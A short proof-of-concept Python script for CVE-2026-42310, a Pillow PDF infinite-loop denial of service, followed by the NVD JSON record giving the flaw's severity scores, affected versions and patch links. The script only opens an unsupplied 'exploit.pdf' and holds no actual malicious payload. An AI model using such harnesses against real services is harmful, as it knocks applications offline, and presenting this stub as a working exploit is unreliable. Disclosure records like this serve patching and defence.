CVE-2026-42310

# PoC for CVE-2026-42310 (Pillow PDF DoS) # This script demonstrates the trigger mechanism by loading a malicious PDF. # The actual malicious PDF content (exploit.pdf) must be crafted to exploit the infinite loop. from PIL import Image import os def trigger_dos(pdf_path): try: print(f"[+] Attempting to open {pdf_path}...") # Loading the malicious PDF triggers the infinite loop img = Image.open(pdf_path) img.load() print("[-] Exploit failed: Image loaded successfully.") except Exception as e: print(f"[-] An exception occurred: {e}") if __name__ == "__main__": # Replace 'exploit.pdf' with the actual malicious file path malicious_file = "exploit.pdf" if os.path.exists(malicious_file): trigger_dos(malicious_file) else: print(f"[!] File {malicious_file} not found. Please provide the malicious PDF.")

{"cve": {"id": "CVE-2026-42310", "sourceIdentifier": "[email protected]", "published": "2026-05-09T06:16:10.273", "lastModified": "2026-05-12T17:55:38.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pillow is a Python imaging library. From version 4.2.0 to before version 12.2.0, an attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive. This issue has been patched in version 12.2.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "12.2.0", "matchCriteriaId": "7543DA51-FEAC-4687-828F-30E2362F59E9"}]}]}], "references": [{"url": "https://github.com/python-pillow/Pillow/commit/3bf614e4b8615d0ce1d5039efaf6db447fe7c468", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python-pillow/Pillow/pull/9519", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/python-pillow/Pillow/releases/tag/12.2.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-r73j-pqj5-w3x7", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}